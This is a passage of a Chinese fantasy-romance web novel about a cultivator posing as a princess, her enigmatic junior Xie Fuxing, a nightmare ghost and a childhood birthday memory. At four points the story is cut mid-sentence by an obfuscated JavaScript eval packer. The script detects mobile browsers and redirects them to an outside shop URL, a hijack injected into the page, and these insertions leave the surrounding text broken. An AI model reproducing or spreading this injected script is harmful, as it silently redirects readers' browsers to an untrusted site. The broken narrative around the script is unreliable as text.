“万一她真是有原因来不了呢。” 谢赴星别过头去,显然不想就这个问题展开讨论了,不过也还好,太医正好来了。 孟簪把位置让给张太医,张太医颤颤巍巍的没错,但是这两条腿怎么看也不像有事情的样子,心里好奇不由得多问了句,“张太医这伤的是哪一条腿?” 张太医也老大不小了,被问到这个问题后先是有些尴尬地捋了捋胡子,随之故作轻松地扔下一句。 “第三条腿也。” 孟簪:还好夫人生了,断子绝孙至少是不会发生了。 张太医开完药,夜色已浓,吩咐好照顾的人后,孟簪累得不行,倒头就睡着了。谁能想到,清早起来,经过一个晚上的加工发酵,有关破晓国公主与男宠的流言蜚语已经在宫内外传播遍了! 一开始宫女的版本:“公主带回来了个貌美的男子,宠爱得不行,昨晚男宠受了伤,公主贴身侍奉了一个晚上。” 第二个侍卫的版本:“那晚男宠发了高烧,公主指着跪下的太医说,治不好他,你们全都给他去陪葬!” 最后百姓传播开的版本:“公主强抢良家妇男,逼迫不成那男子选择自尽,气得公主让全太医院的太医给他陪葬。” “啊——原来柳姐是这样的人啊。”不知哪里响起一道男声,周围的侍女讨论得更加激烈了。 “是啊!你是不知道公主有多宠爱他呀!” 抓着侍女堆里吃瓜的北冥凌的后领,孟簪一把拖走,“诶!我还没吃完呢!” 面对北冥凌欲哭无泪的控诉,孟簪铁血无情道,“这种无稽之谈,不听也罢。” “可是我昨晚亲眼看着你深更半夜扶着腰从谢师弟的房间出来,并且吩咐周围的人好好照顾他,说他今天太劳累了。” 孟簪突然很庆幸她方才把北冥凌从人群堆拉出来的决定,不然这人还不知怎么在背后提供八卦来源。 “所以……是谢师弟生病了,你去看望他?” 孟簪点点头,解释了半天,总算是把北冥凌的思想给掰回正轨了,“你那么晚了还去看望他……恐怕没有那么简单吧?”北冥凌一脸怀疑地看着孟簪。 孟簪正想着北冥凌会说出个什么所以然,却听对方笃定道,“你想让他留在无花宗对不对?所以才对他那么好,就是让他念着无花宗的师门之谊,从而断绝他前往剑宗的心思。” 看到北冥凌这样想,孟簪就放了心了。 — 也不知是不是孟簪的错觉,最近的几个晚上总觉得这宫内不太平,时不时会出现一些鬼哭狼嚎的声音在大半夜。 夜深人静之时,还会有一阵阵轻微的脚步声在长廊中回响,仿佛有宫女太监在执行着夜间巡逻任务,然而当孟簪推开门后,四周空无一人。唯有一阵鬼风吹来,让孟簪背后生寒。于是今晚,她唤门外的侍女帮她传一个人来寝殿。 敲门声响起,孟簪一把将人拉进了房间。 没来得及反应的谢赴星后背撞在门上,孟簪的双手撑在他身体两侧,示意他保持安静,随后悄悄地往纸糊的窗户上戳了个洞,外面空无一人,也没有脚步声响起,这才松了口气。 抬头,孟簪也是这时才看清来人的面容。两人凑得很近,近到她可以闻到少年衣袍身上苦涩的药味,那双勾人动魄的黑眸目不转睛地看着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过,孟簪可不管那么多,三日的噩梦让她眼底已然乌青,一闭眼就是血淋淋的人间炼狱,她已经退化了,退化到不敢一个人还要人陪着睡觉的年纪了。 “你不是之前问师姐愿不愿意和你睡觉吗?”孟簪灵光一现,清了清嗓,严肃正经道,“师姐愿意。” “可你说睡觉是和喜欢的人才可以做的事。”当年的一巴掌终究还是落到了孟簪的脸上,她听见少年从波澜不起的语调道,“你又不喜欢我。” “怎么会!喜欢,师姐最喜欢你!”口不择言的孟簪只希望此刻可以留下谢赴星,全然不管自己到底说了些什么。 毕竟面子没有睡一个好觉重要。 失眠三夜的孟簪深感这句话的重量。 世上没有真正的感同身受。 倘若今晚留不下他,孟簪将享受到噩梦四日豪华套餐。 长空之下,刚来屋檐上偷听的人听到这句话的时候差点没惊得从屋顶上掉下来。 这公主吃着碗里的,看着锅里的,玩得够花啊! 28. 第二十八章 第二十八章 西炎都城皇宫内,主座上的君裴安暗袍红发,侧卧在翡翠软榻上,俊美的容颜上写满了无聊二字,门外匆匆走进一位侍卫在君裴安耳畔窃窃私语了几句话,不知听到什么消息的西炎太子立即坐直了身,摆摆手,奏乐的宫人自觉退下。 “主上,破晓国的公主回来了。” 扣着软榻上明珠的君裴安面色一沉,细长的丹凤眼微微眯起,凝重的面色维持不住三秒,直接拍案而起,“跟你说过多少遍了!这种垃圾消息不要跟我说!回来回来,这破晓国一年能回来一百多位公主,那宋故封一年能认一百多个主子,他玩替身文学就算了,你也跟着去啊!?” 被主子骂得狗血淋头的暗卫摸着头,讪讪道,“可这次有所不同。” 君裴安俊俏的面容划开一分笑意,大有一副好我认真听你吹的架势,皮笑肉不笑道,“行,你说。” “这次三国都有所动静,尤其是宫里的暗线汇报,曾在这位公主身边看到东陵六皇子的身影。” 平复下来的君裴安问,“他不是已经被逐出家门了?” 暗卫点点头,“他换了个发色,甚至连姓都改了。” 君裴安儿时也算是见过这东陵六皇子几面,为人清廉正直、风光霁月的,不出意外以后定然是太子的不二人选。可惜竟然押错了筹,不知哪里冒出来了个二皇子,现在还得毕恭毕敬地称呼对方一句东陵国太子。 君裴安反正是对这位二皇子喜欢不起来,心胸狭窄,贼眉鼠眼,身为一个男人,妒忌心重得要死,凡事都要和自己比个一二,比又比不过,于是只敢做些见不得人的小手段,这人跟他那个六皇子弟弟比起来,算了,这两根本没啥可比性,要是君裴安心里六皇子算个人的话,那这二皇子撑死就算个在猪棚里混吃等死的猪。 听到这里,君裴安倒也是好奇这六皇子的现状,“他改了什么姓?” “据说好像是北陵国的皇姓。” 君裴安嘴角一抽,对那位六皇子的无耻有了新的下限。在五年前,北冥王为了鼓励自家儿女出门创业闯荡,于是花了重金投资其余三国,申明以后凡是自报北冥姓之人,酒水住宿费全免。 这几年来,改北冥姓的热潮好不容易被君裴安压下去了些,不想这被逐出家门的东陵国皇子带头改姓。 君裴安表示,笑话,这一个个都认那北冥王叫爸爸,那这西炎国也干脆改名好了。不得不说北冥王这一招玩得真是阴,不仅教育了子女,也打响了他在其他三国的名声,还让君裴安见识到了这人的财力之恐怖,“太子醉仙楼那边寄来了账单。” 君裴安看着这账单后好几位的零,思索到方才听到的消息,干脆地做出了一个决定,“这账记在你头上。” 无辜的暗卫指了指自己,看起来快是要哭了,“太子,小的没钱的!仅有的钱还存在老婆本上等着以后娶老婆的。” “笨!你跟那醉仙楼说你姓北冥不就好了。”醍醐灌顶的暗卫立马就走了,过了三秒又折返了回来,好奇道,“既然太子想把这账赖给那北冥王,为何不自己改姓?” “你觉得我娘怎么样?” “女皇端庄优雅,温柔大方!真乃万世之典范,女人中的女人强!我等钦佩不已!” 听到吹嘘自己母亲的话语,君裴安心里只想冷笑,“要是她知道我改这个姓她会一棒子打死我的,我没开玩笑。” “太子你这好像是出宫的方向啊!”话完,君裴安没回头,朝身后去结账的暗卫挥了挥手,大有一副事了拂衣去的从容,走了几步,他又往后退了回来,笑眯眯道,“破晓国往哪里走来着?” 暗卫:……太子您要不还是在宫里待着最安全。 — 西江照月明,掀起层层涟漪,孟簪看着茶杯中的水面,泛起波澜那刻,“西南角。” 剑光如闪电般划破夜色,击中了房间西南角的阴影。空气中阴冷的气息弥漫开来,剑尖与恶鬼的碰撞声清脆响亮,回荡在静谧的房间中,打破了原有的宁静。恶鬼的身形逐渐显现,它的眼睛闪烁着幽绿的光芒,在黑暗中凝视着两人,带着挑衅与恶意。 “是噩鬼。”孟簪认得,噩鬼附体,噩梦缠身,直至人精气耗尽而亡。 这噩鬼被认出来后,直直冲向法力相较低微的孟簪而来,幽绿的眼睛不知何时变成了深红,就在要碰到孟簪的那一刻,被金光弹开了。 孟簪可不是刚进入城市不懂城市套路深的村长女儿了,昔日不设防备的她今日可是有备而来,在出发破晓国之前,她就给自己画了不少的阵法,胸前金色的阵法展开,她站在阵法中冷淡地看向那团被撞懵的黑气,叉腰神情从容道,“这是金钟阵,罡风剑气才可斩破,你这噩鬼还是束手就擒吧!” 话落,身侧之人的剑袭来,坚不可摧的金光瞬间消散而去,剑气震得孟簪往一旁飞去,脑海里只有一个想法。 防火防盗防师弟啊!谢赴星这一剑可以说是把孟簪打得措不及防。 落地后,孟簪一口老血都要吐出来了,在被噩鬼附身前只有这一个想法:究竟自己是为什么要相信他来着?因为他长得好看吗?这越好看的男人越有毒啊! 孟簪痛定思痛,可惜追悔莫及。 被噩鬼附体的孟簪很快失去了意识,眼睛再睁眼时变成了红色,摇摇晃晃地起身,方才挥剑朝孟簪而去的谢赴星神色淡淡,看着孟簪面容的噩鬼,侧了侧脑袋,“你家主人呢?叫她出来和我打。你,还不够格。” “孟簪”笑了笑,那张清冷的面容笑起来多了几分少女的娇气,“她”杏眼弯起,指着自己道,“你是怕出手误伤了这女子的身躯吧?小公子,要是怜香惜玉的话,可不必对我手下留情哦。” 她面上狠决划过,刚想抽出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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失去控制的噩鬼从孟簪中飘了出来,谢赴星一剑毫不犹豫地将其击在了木桩之上,被击中的恶鬼的身影逐渐变得模糊,化作一缕烟雾,消失在空气中。当最后一剑落下,房间恢复宁静,空气中弥漫着尘埃的味道,仿佛一切从未发生过。 谢赴星收回自己的剑,身形一晃,又是熟悉的制约和痛感袭来,绝对不是所谓的灵力紊乱。他捂住胸口跪在地上。 乌黑的阴影笼罩了他,那把被他放在桌上的剑被人拉开,澄澈如镜的剑面上,谢赴星看到了自己的倒影,以及——拿剑之人身上毫不遮掩的杀气。 这一刻,竟是真得想杀了自己。 谢赴星脑海一阵刺痛,冬将落雨寒,他曾站在大雪地里,寒风凛冽吹起他的发丝,在那双看不见半点颜色的眼睛里周围恍若一片褪色的空旷无人画面。 渐渐地好像有了脚步声,他撩眼,却没来未曾想过,这轻轻一眼,经此以后他的世界有了第一抹颜色。 29. 第二十九章 第二十九章 手中之剑,应当挥向逞凶作恶之辈。 想起师父曾说过的话,孟簪及时回神,将剑放回了桌子上,瞥了眼跪在地上的谢赴星,有些不太自在地开口道,“就算你跪我,我不会原谅你的。” 不想谢赴星抬头,用一副难以置信的表情看向孟簪,而后别过头去,嗤笑了一声,冷嘲道,“师姐可别往脸上贴金,我要是自己能站的起来自然会站起来,只是方才为了帮师姐驱鬼受了内伤,所以有些脱力而已。” 这话搁这儿内涵自己呢!孟簪可不是傻白甜,这话不就明晃晃在跟自己说,我可是为了救你才受的伤。 孟簪冷静了几秒,她没忘记她之所以被噩鬼附身可是多亏了她这位“乐于助人”的小师弟反手就把她的金钟阵给破开了。要不是谢赴星,噩鬼那货一晚上都解不开这阵法。 话题又回到了一开始,这怎么来得就是谢赴星呢! 北冥凌虽说人平时吊儿郎当,但是该出手时就出手,关键时刻还是很讲义气的一个人,绝对干不出伤害队友的事情!苗昊这人也还行啊,沉默寡言了些,安静还靠谱,宋故封来也比谢赴星强,至少他不会对自己拔刀相向。 她又爱又恨地看着谢赴星的脸,这小师弟长得那么好看干什么。孟簪赶忙收回目光,怕多看下去,自己一心软就又原谅了这位貌美如花小师弟。 一个大男人长那么好看干嘛! “师姐不扶我一下吗?” 孟簪口中还有铁锈味,她漱了漱口,拿帕子抹去唇角上的血迹,面对谢赴星的发问,她极为冷淡道,“小师弟如此厉害,怎么斩杀个噩鬼便脱力到跪在地上?莫不是……这身体不行。” 对于孟簪这看似关心,实则话里藏刀的话语,少年恍若未闻,反倒眸光微闪,有些可怜兮兮地反问道,“我与师姐竟然生分于此了吗?” 孟簪起身,退避三舍,她可不是当初的孟簪了,如果打不过反派,那最好的方法就是远离反派,话本子孟簪也不是没看过,救赎反派什么的,那也是下下之策,再者,与其担心谢赴星,孟簪还是更担心自己的小命。 虽说孟簪知道自己活不过二十三岁,但是也不想早早夭折在了谢赴星手上。谢赴星喜怒无常,倘若孟簪对他了解甚少也罢,可两人年少时曾共处过一段时间,而后分别数年重逢,她承认心里确实有点喜欢这挥剑意气的少年郎,但这喜欢停留在了外人对他的描述之中。 试问他谢赴星要是个杀人不眨眼的反派,她还会喜欢吗?孟簪觉得答案是不会,因为她不会用命去赌,赌这人会喜欢自己。谢赴星昨日可以眼睛都不眨的杀了那人,同样也可以毫不留情地杀了自己,他非善类,孟簪也并非无私好人。 话本里的女主都是反派的白月光,可孟簪撑死就是年少和反派一起而后决裂的好友,何况这反派看起来好像已然忘记了自己。 “你我何时有过深厚的情谊了?”孟簪不禁反问道。 “十五夜,大雪天。” 没想谢赴星会用自己说过的话回答自己,孟簪一时都有哑然,这人分明就是什么都没记起来的样子,却笃定地落下这两个字,不禁让孟簪眼前重新出现,那个带着白绫、说话三句带刺两句嘲讽的谢赴星。 真是让孟簪没办法。 “你方才为何要劈开金钟阵?” 谢赴星了然道,“正常噩鬼的眼睛应当是幽绿色,可我们见到的那只眼睛是红色,那是被人为操纵的证据,当时不方便沟通,我想引出这操纵噩鬼的幕后之人,所以必须得让噩鬼有个宿主。” 房间里就两个人,所以谢赴星只能让那噩鬼附身在孟簪身上。 “幕后之人?”孟簪说到这里也开始严肃起来,“你有没有觉得自从李玉垚那件事后,身边就多了些尾巴。” 孟簪也并非毫无察觉,只是她偶然能察觉到一些,定然是比不上已经金丹的谢赴星的观察程度的,“你那晚醉酒。” 孟簪听少年提起这个,心尖一颤,有些心虚地别过头去看其他的地方。孟簪的酒量很奇怪,偶尔她觉得自己喝了很多都不会醉,但上次显然是另外一种情况,她觉得没喝多少就醉了。 “我扶你们回去的那个晚上,便有人在后面尾随。”想起睡醒后脑袋里出现的奇奇怪怪的记忆,孟簪脸唰一下有些红了,她问,“我那晚没做什么逾矩的事吧?” 少年顿了下,本来都快忘记了,听孟簪一讲又想起了人莽撞的告白,嗤笑了声,“师姐逾矩的事还做的少吗?” “……” 那都是意外,孟簪真得想说,除了有些不想守规矩的时候,其他时候她都是很听规矩的。 “所以那晚上也是吗?” 孟簪其实也是听了个七七八八,大多还是眼见为实,谢赴星睨了眼孟簪,到嘴边的那句自然不是,转换成了句,“嗯。” 谢赴星演了那么多年,可以让孟簪发现,也自然懂得如何装作一副无辜的样子,他叹气无奈道,“那人其实是要我命的杀手,那种情况下不是他死便是我亡。所以,我也没有选择。” 孟簪举起手,拍了拍谢赴星的肩膀,立马换上心疼的表情道,“小师弟这般深明大义,我相信你定然不是残害无辜之人!” 看似义正言辞、忠心耿耿的孟簪看着谢赴星眼底的玩味,悄悄松了口气。 谢赴星这话看似在说服孟簪,实则是在给孟簪一个台阶下啊!这看似的两条路,对孟簪而言只有一条,但凡她产生些多余怀疑的心思,毫无疑问的,谢赴星当场就可以再给孟簪来一剑,毕竟伤害自己这件事,对于谢赴星而言,只有零次和无数次。零次是属于谢赴星后来心里珍惜之人的,而孟簪显然便是属于那个无数次的人群之中。 “那师姐现在可以扶我起来了吗?”听到谢赴星的话,孟簪压下心底的恐惧,一点点地挪到了谢赴星的身边,不想少年冷冽的声音落下,看着孟簪递给他的中指,颇为无可奈何道,“师姐是想用中指扶我起来吗?” 孟簪心虚道,“哈哈哈,怎么会呢。”说着慢慢挪动了一点,朝谢赴星伸出了手,将少年扶到了位子上,说来也怪,孟簪这才意识到谢赴星这来破晓国以后,天天都是生病,莫不是这地方克他?在孟簪胡思乱想的时候,听见坐在椅子上的谢赴星朝她问道,“师姐知道这附近有水池吗?” 孟簪下意识以为谢赴星是想要泡澡,解释道,“哦,我这里就有温泉。” 谢赴星至少帮自己除了鬼,孟簪还是松了一大口气,朝房间另外一扇门一指,方才虚弱到不能起身的少年瞬间带起一阵风,从孟簪身边匆匆掠过。 孟簪多天没睡过一个好觉了,眼下紧绷的神经放松下来后,躺在床上没多久就沉沉地睡去了。 梦里又回到了那时的记忆。 不周山下来后已经是一月以后的事情,下山后的谢赴星决议想与孟簪分道扬镳,结果自然是被孟簪驳回了,两人相伴走了不久后就到达了最近的一个小县城——瑶城。 正午,耀眼的阳光斜洒,穿过稀疏的云层,将光芒洒在青石板铺就的街道上。街道两侧,商铺林立,酒旗随风轻轻摇晃,仿佛在招揽过往的行人。 经过一处府邸门口的时候,孟簪远远便望见门口两排高高挂起的大红灯笼,彩带还在风里飘扬着,门楣上挂着“岁岁安康”“福乐绵延”的横幅,来往宾客络绎不绝,府内传来唢呐合着古琴的乐音,喜庆而欢快。 孟簪喜欢凑热闹,这会儿看府内桌上摆着的琳琅满目的美食,一时也是好奇,随手拉了个路过的老伯问道,“老伯这里面是有什么喜事发生了吗?” 这老伯先看了眼穿着素衣,背着包裹的孟簪,又透过孟簪看了眼覆着白绫的年轻少年郎,确定两人只是单纯过路之人后,回答道,“哦,是这县城知县的小儿子今日生辰,请了不少人过来过生日呢!” “这小儿子深受知县宠爱,这一场生辰可是花了千金,把周围大大小小的官员都请了过来只为给儿子庆生呢!这一场生辰宴派头不小,据说,还要到了六皇子的祝贺词,你们门口瞧瞧便是了,这进去可得是家财万贯、身居高位之人。” 孟簪心里暗暗感叹道,这有钱人过生日就是气派。 转身一看,发现谢赴星倒是事不关己早就走远,“诶,谢赴星你就一点儿都不好奇吗?” “有什么好好奇?”他这问话满是真情实意。 倒是让孟簪一怔,但是一想到这人看不见,瞬间又领悟了,也是就算是再气派,看不见的话也并没有什么独特的。思考到这里,孟簪突然问道,“你生辰是什么时候啊?” “无聊。” “你不说怎么就无聊了?”孟簪有些不服气,眼睛转了转,心下有了主意,“我的生日在二月初三,你可别忘记明年给我送礼物!” 少年冷嘲热讽道,“我们是什么关系,要给你送礼物?” “那你跟我说你的生辰不就好啦?你想你是要送我礼物的,我也是要送你礼物的,眼下你知道我的生日就可以给我送礼物了,我要是知道你生日便也就可以给你送了,这样一来一回,就抵消了。” 这样霸王的理论是根本不会让谢赴星走心的,但是孟簪耳畔落下少年清冷淡然的两个字。 “九月十四。” 孟簪反应了一会儿,直接停在了原地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022464|133620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“那岂不就是今天?” 孟簪总算明白这谢赴星为何不说了。同样都是一天生日,这知县家的儿子锦衣玉食,在众人中央接受簇拥和祝福,身旁充满着热闹和欢声笑语,方才孟簪随意看了眼那小儿子,岁数和谢赴星差不多大,甚至谢赴星的年纪看着还要再小些,这样的年纪应当都是喜欢热闹和朋友的,而不是萧瑟和孤独。 孟簪看着不远处倔强孤傲的背影,突然意识到其实谢赴星一直以来都是个不爱透露情绪的人,他孤独也安静,从孟簪第一次遇见他就是形单影只的,好像对人生挺无所谓的,于他而言,生也好,死也好,在他身上孟簪从来没有感受到生命力,有的是一种看淡了生死苍生的从容和豁然。可是他的年岁那么小,孟簪在他这个年纪还在师父身边撒娇扮乖,而少年是如何的呢?一直都是这样一个人吗? 少年走入热闹的人群,孟簪看到的却是他身上的孤寂,好像与这个喧闹的世界隔绝出了一条不自觉的线,“谢赴星。”他没回头,孟簪快几步追了上去,将他拉入了阳光之下,满是生机的人间。 碎光落在少年精致的面容上,他不耐烦地刚想要说话,不想被人抓住了手,紧紧的仿佛害怕被他甩开,他听见身旁的人欢快道,“你早说你今天生日嘛!我都没来得及准备,正好我不周山送信赚了点闲钱,我们一会儿去醉仙楼里点几个小菜,吃顿好的,然后给你点一碗寿星一定要吃的长寿面,吃完我带你去城里热闹的街市转一圈,好不好?” 谢赴星安静了会儿,侧头问,“这也是你的一环吗?” 给他希望和温暖之后再狠狠抛弃。 孟簪见谢赴星不苟言笑、满是戒备的样子,有些无奈地轻敲了下他的脑门,“什么一环两环的?一天天的在想些什么有的没有阴谋论,既然不抗拒,那就走吧,我牵着你走。”说到后面,孟簪的语调不自觉地放软了下来。 谢赴星整晚情绪淡淡的,但是孟簪却觉得这份淡然比哪个时候都要多了那么点的开心,少年连开心都好像是稀释了一百倍的。 那天晚上亮起的灯比孟簪见过的每一个晚上都要亮,她看着付完晚饭后所剩无几的钱包,却没有过去那般悲痛,而是,“时间还早,我们去租一辆小舟,游个一圈吧!”她很开心。 为了省钱,孟簪没有租船夫,而是自己一边划着桨,一边慢慢细细地和谢赴星形容着周围的景色。周围也有泛舟的人,看到孟簪划桨的时候不由得朝谢赴星投去鄙夷的视线,然而接触到少年眼上的白绫后那份鄙夷又转为了了然。 孟簪并没有理会旁人的眼光,朝谢赴星笑着道,“今晚的月亮很明亮,像是一个盘子。”孟簪过去虽然和谢赴星一道走,但也是各走各的,她从未多想过谢赴星看不见的问题,但是她今日才在想,她该怎么跟谢赴星形容这个美好的人间呢? 她用尽自己一切的修辞和描述,想让谢赴星可以更多地感受到这个世界,晚风很温柔拂过孟簪的发丝,她别过耳侧的碎发,却发现少年回头,好像是在看着自己,“谢赴星,你知道我小字叫什么吗?”孟簪看了眼天边的圆月,徐徐道,“皎皎明月,心向往之。” 谢赴星点了点头,“所以你的小字叫往之。” 孟簪:…… “不,是开头的两个字。”孟簪划着桨,讲起这个小字的由来,讲完后,见仍旧是安安静静、正襟危坐的少年郎,出了调侃的心思,“我师父说,小字是说给亲近之人听的,所以谢赴星,你说我们是什么关系呢?” 这个问题并难不倒谢赴星,“交换小字的关系。” “哦——”孟簪故意拖长了音调,“那我的小字说了,你的小字……”话还没说完,就被少年硬生生地打断。 “想都别想,我和你不会有亲近的关系,是你自己要说的,可不是我摁着你的脑袋逼着你说的。”少年似乎觉得这样还不够,过了几秒又添了一句,“要是你理解为你摁着我的脑袋逼着我听的也可以。” 反正他一定得是受害者,是吧? 孟簪倒也不至于和对方生气,毕竟小字这种东西,并不是每个人都像孟簪这般无所谓。 泛完舟后,两个人找了个破旧的寺庙住下。 孟簪躺下后,观察到一旁的少年翻来覆去了好几个来回,然后坐起,戳了戳孟簪的后背,像是纠结了很久方才别扭开口。 “温年。” 孟簪还没理解过来,谢赴星已经重新躺下,火速地转过身去了。 温年? 孟簪后知后觉明白过来谢赴星话语的意思。 原来他的小字叫温年啊,谢温年。 和他人,真是一点儿都不像。 30. 第三十章 第三十章 孟簪悠悠转醒,窗外暮色已深,她从床上坐起,手指穿过发丝,想起方才做的那个梦。 谢赴星的生辰是九月十四,那可不就是三天后的事情? 时光飞逝,当年和自己个头差不多的谢赴星已经是过去式了,可孟簪却觉得一切仿佛恍若隔日。 等下,他人不会还在池子里泡着吧?孟簪睡着了,所以也不清楚谢赴星到底是走了还是没走,她蹑手蹑脚地从床上下来,穿好鞋子,敲了敲隔在房间和温泉中间的门,试探地问道,“小师弟?” 然而并没有得到半点回应,想起之前面色苍白倒地不起的谢赴星,孟簪有些担心,不会在水池里晕过去了吧。 “那我进来了,小师弟!” 秉着人道主义的关怀孟簪推开了门,下一秒腿软地直接坐倒在了地上,像是一个被宠妃掏空身体的暴君,发现自家的爱妃竟然是个狐狸精一般,目瞪口呆地看向屋内。 漂亮得不似真人的少年扭头,那双水蓝色的眼睛看了过来,疑惑不解道,“师姐,你怎么了?” 妈呀!我那反派小师弟怎么变鲛人了! 孟簪:就当是一场梦,醒了很久还是不敢动。 少年乌黑的发丝全然变成了大海般的蓝,那双水蓝色的眼睛宛如海底的珍宝,透亮而又澄澈,没有半分妖冶,却极度勾人,少年手背上还有未褪去的鳞片,倘若不是眉心那颗熟悉的朱砂痣,孟簪都有些不太敢承认眼前的少年竟然是自己那小师弟。 “师姐。”再抬眼看见少年模样丰神俊朗的小师弟,孟簪揉了揉自己的眼睛,果然是自己产生幻觉了,小师弟怎么会是鲛人呢! “躺在地上睡凉。”这句突如其来的关怀让孟簪觉得脖颈一凉。 “没事没事。”孟簪拍了拍身上的灰,讪讪道,“小师弟你没昏睡过去就好,我怕你在温泉里晕过去,我在开门前有说过的,那既然你没事那我就回去睡觉了。” “等下。”孟簪回头看去,这才发现谢赴星泡温泉的时候,没有脱去身上的衣物,眼下正抬起湿漉漉的袖子,礼貌地朝自己问道,“可以麻烦师姐让宫里的宫人拿一套换洗衣物过来吗?” 只是要衣服而已又不是要命,孟簪迅速让门外守夜的宫人送了一套衣物过来。 衣服而已,能出什么问题呢? 孟簪并没有仔细看这件衣服,所以当她看清走出来的小师弟后,差一点没忍住地笑出来,这衣服粉里透绿,腰部镂空设计,大片的粉色格外娇嫩,随着少年走近孟簪还可看见衣服上绣着的荷花和莲蓬,粉绿相接本该是俗气的颜色,这件灾难的衣裳却和少年正经的表情产生了神奇的化学反应,就好像是刚正不阿在青楼靠着胸口碎大石卖艺的小倌。 少年表情有些变扭,但总而言之还是比较平静的。 “我在床上睡。” 谢赴星蹙眉,立马发问,“那我呢?” “我抱着你睡?”孟簪也只是开玩笑,知道谢赴星定然不会答应。 果不其然,谢赴星沉默了好一会儿,幽幽道,“我打地铺好了。” — 破晓国的天际刚破开一分白,孟簪就被急促的敲门声给吵醒了,“公主,大事不好了!” 背着黑锅的公主本人睡眼惺忪地拉开门,“怎么了?” 把来龙去脉简单讲好一遍的守阁长老期待地看向面上波澜不惊的公主,不禁在心里赞叹道,不愧是公主,泰山崩于前,面不改色,此等心态真不愧是国师大人盖章过的公主殿下。 “嗯,我知道了。”下一秒门无情地关上了,只剩下被关在门外一脸懵的守阁长老,听着屋内再度响起的呼噜声。 内心如北风萧萧吹过,这个国家果然还是要亡了。 破晓国发出邀请信,诚邀天下豪杰前往,可是多日过去了,没有一个人出来讲清楚这心中提到的秘宝到底是何物?如何取得?所以一大清早,早早就来到破晓国,为了推动破晓国发展,如今已经被店家薅羊毛薅到分文未剩,明日也许就要露宿街头的蓬莱岛众人聚集在了皇宫门口,大有一副你不对我负责,我就赖着不走的姿态。 江宁药家是和蓬莱岛一个时间到的,拒绝了给蓬莱岛提供钱财支持的请求,间接算是造成了眼下的闹剧。 盯着少爷眼底的乌青,小琴不由得关切道,“少爷我们真得一毛不拔吗?” “这蓬莱岛的人其实挺可怜的,昨天就没钱了,还是靠卖身葬岛主才赚到了一日的房费。” 没睡醒的荀药气笑了,“是啊,可为什么他们葬的是岛主,那贴的是我的照片!” 本来打算借钱的荀药不仅没有借钱,还出钱把蓬莱岛的摊位给砸了,所以今日这些人才会举着横幅站在皇宫门口。 等孟簪彻底清醒,北冥凌已经和门外吵他睡觉的蓬莱岛打过一架了。 “可恶,要不是那国师多管闲事出手阻拦,我早就把他们吊打一顿了!” 紫衣的冷面帅哥放下茶杯,不紧不慢道,“呵,蓬莱岛和你水平相近者五人,金丹修为三人,甚至有一人已经达到金丹大圆满,吊打?你是说你吊起来,被他们打一顿吗?”苗昊就事论事,直截了当道,“要不是那国师好心救你,你现在不死也是半残了。以一挑十,北冥凌啊北冥凌,我还说你莽撞还是愚蠢呢?” 北冥凌本就气得不行,听到苗昊这一顿冷嘲热讽的话,脸更是气得红,他一把拍在一旁无辜吃茶点的宋故封背上,套近乎道,“你怎么看?” 宋故封被这一拍,本来好好啃着茶点的他直接被这一巴掌给拍呛了,咳嗽个不停,幸而一边的苗昊好心地给他倒了杯水。 孟簪就是这个时候踏进大厅的,“柳姐你可算来了——” 北冥凌跟看到幼儿园老师的小朋友一般,狠狠地参了苗昊一大本,一旁事不关己的苗昊听得脸都黑了。 “所以,破晓国到底有什么狗屁秘宝啊?”北冥凌不明白这破晓国到底得是有什么样绝世瞩目的宝贝。 孟簪也不懂,况且她至今连破晓国那位现任的国师都没有见过,听闻北冥凌这事是国师拦下来的,不由得好奇问道,“你见到国师了?” 北冥凌卖了个关子,“差不多吧,就是那个鲛人国师是吧?” “现在的国师也是鲛人?”孟簪有些意外,这鲛人不都世间难寻了吗?怎么这破晓国给孟簪一种鲛人遍地走的感觉。 苗昊很敏锐地抓住孟簪话语里的重点,“也字是什么意思?之前也有国师是鲛人?” 孟簪把自己所了解的破晓国相关历史和众人说了一遍,沉吟了一会儿,说:“而且我还发现了一件很奇怪的事,有关那位永年公主在破晓国正统的史书上并没有记载。” 永安公主就像是一个特意被人抹去的人物,倘若不是在同时间段的历史中,找到了她的名字,给人一种仿佛这永安公主只是个被杜撰出来的人物。 北冥凌了然道,“这说明什么?说明她们一定有秘密瞒着你,当年公主倘若真得如此伟大,她们为何不把你计入史册,而是把有关于你的一切抹去。” 孟簪:“你的意思是说她们觉得我丢人所以把我剔出了。” “……”平日里一直觉得自己很心直口快的北冥凌今天算是和孟簪棋逢对手了。 孟簪没意识到北冥凌的沉默,也没有北冥凌意想之中的难过,这女人倒还挺开朗,自顾自地说:“其实,我觉得低调一点挺好的。” “那些野史、八卦什么也可以少一点啊,反倒塑造了我的伟岸形象,我很满意!” 好家伙,你是一点儿都不好奇你为什么不在你们国家历史之中是吧!北冥凌默默腹议道。 苗昊也是佩服道:“柳姑娘,倒还真是……”颇有气度和胸襟了。 谢赴星余光扫过一旁认真吃着糕点的宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 